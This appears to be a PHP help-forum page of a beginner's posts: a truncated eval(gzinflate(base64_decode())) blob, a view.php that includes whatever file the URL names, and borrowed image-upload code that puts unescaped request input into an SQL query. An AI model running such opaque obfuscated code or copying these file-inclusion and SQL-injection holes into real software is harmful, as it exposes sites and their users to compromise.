Jump to content

whiteboikyle

Members
  • Posts

    286
  • Joined

  • Last visited

Posts posted by whiteboikyle

  1. eval(gzinflate(base64_decode('FZdHDqxaEkSX898TA7zTVw/w3nsmrcJD4T2svqvHILiQkREnyvPT/6nfdqz6z17+yT5bSWD/Lcp8Kso//4hpLwrHqQjfKIYAQGQHTZOn757OL7WpbRqCYCGhbJBGcWkL+fEOIDijS7aVD1iCwghGmFhX0KmTyqyDJKU8iXhKyHGcX6A0TTG79nN84+3L+01ZbrGYSAwSSgXLboOfm6thJNNH6qAtIvu9X75bIxIbPAZHyz+nxtST/IAGx5U+NQGj7vYF5JwzSyBwEXiTLl9xlrgt6uHoisvd3BslGtqPJILfRGmdtWMdaJ6pSU7qolNg+rXExzywKMxDbBWmgnKJs1BNfcUU6aUzF8HliHBfy/qY73dZvMcJkd+pMPjWp8ejLeBMKHvLDIsCwsSCw8VTL5V9aFgYBWCCzFi5DZaVg6OxZCyPbMMocjpfl67iTF9lpzI255S6ulz+SjJvG5iGCE+GNh4mdWuwAnxRFSgBxG5fTiqcxNnxKRJRxjkernahqXs38s9W6i0Gb2qyzG2WI4uyQPppBjuOMbblxJ8ILjr0qwPDtwU3SytIckSbSNjYMfY3zJVzZYIPCCuEL20EAejNwObYiwuTFqTbSHcYBoIM9oaAKHYx

  2. No i have it secured on other pages..

    But what i am trying to do is

    aboutus.inc is a plain txt file and what ever is in there shows up on the page..

    Well when going to edit it in the user console you have to type html codes for it to break..

    but i want it to break on its own when you press enter (new line)

  3. Okay i have a view.php file that has something like

     

    <?php
    include("header.inc");
    if(!$_GET['view']) 
        {
            header("location:index.php");
        }
    else
         {
       include($_GET['view']); 
        }
    
    include("footer.inc");
    
    ?>
    

     

    So i go to localhost/kazi/view.php?view=aboutus.inc

    It shows up like

    TEST Test test

     

    instead of

    TEST

    Test

    test

     

    when its typed like that in the about us

     

     

    Well i tried

     

    nl2br();

    but it wont seem to work on this..

  4. Well i found this piece of code and i am trying to alter it and understand it..

     

    <?php
    
    // Connect to database
    
    $errmsg = "";
    if (! @mysql_connect("localhost","****","*****")) {
            $errmsg = "Cannot connect to database";
            }
    @mysql_select_db("kazi");
    
    // Insert any new image into database
    
    if ($_REQUEST[completed] == 1) {
            // Need to add - check for large upload. Otherwise the code
            // will just duplicate old file ;-)
            // ALSO - note that latest.img must be public write and in a
            // live appliaction should be in another (safe!) directory.
            move_uploaded_file($_FILES['imagefile']['tmp_name'],"latest.img");
            $instr = fopen("latest.img","rb");
            $image = addslashes(fread($instr,filesize("latest.img")));
            if (strlen($instr) < 1500000) {
                    mysql_query ("insert into pix (title, imgdata) values (\"".
                    $_REQUEST[whatsit].
                    "\", \"".
                    $image.
                    "\")");
            } else {
                    $errmsg = "Too large!";
            }
    }
    
    // Find out about latest image
    
    $gotten = @mysql_query("select * from pix order by pid desc limit 1");
    
    if ($row = @mysql_fetch_assoc($gotten)) {
            $title = htmlspecialchars($row[title]);
            $bytes = $row[imgdata];
    } else {
            $errmsg = "There is no image in the database yet";
            $title = "no database image available";
            // Put up a picture of our training centre
            $instr = fopen("../wellimg/ctco.jpg","rb");
            $bytes = fread($instr,filesize("../wellimg/ctco.jpg"));
    }
    
    // If this is the image request, send out the image
    
    if ($_REQUEST[gim] == 1) {
            header("Content-type: image/jpeg");
            print $bytes;
            exit ();
            }
    ?>
    
    <html><head>
    <title>Upload an image to a database</title>
    <body bgcolor=white><h2>Here's the latest picture</h2>
    <font color=red><?= $errmsg ?></font>
    <center><img src=?gim=1 width=144><br>
    <b><?= $title ?></b></center>
    <hr>
    <h2>Please upload a new picture and title</h2>
    <form enctype=multipart/form-data method=post>
    <input type=hidden name=MAX_FILE_SIZE value=1500000>
    <input type=hidden name=completed value=1>
    Please choose an image to upload: <input type=file name=imagefile><br>
    Please enter the title of that picture: <input name=whatsit><br>
    then: <input type=submit></form>
    </body>
    </head>
    </html>
    
    

     

     

     

    Well i would like to make it so it can view 10 at 1 time but this piece of code means nothing to me.. I have been programming for 2 months and i dont get this piece.. So maybe if you could explain more how everything works with a few comments and maybe help me add 10 more images to display.

    Thanks

     

    (edited to remove username/password)

     

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.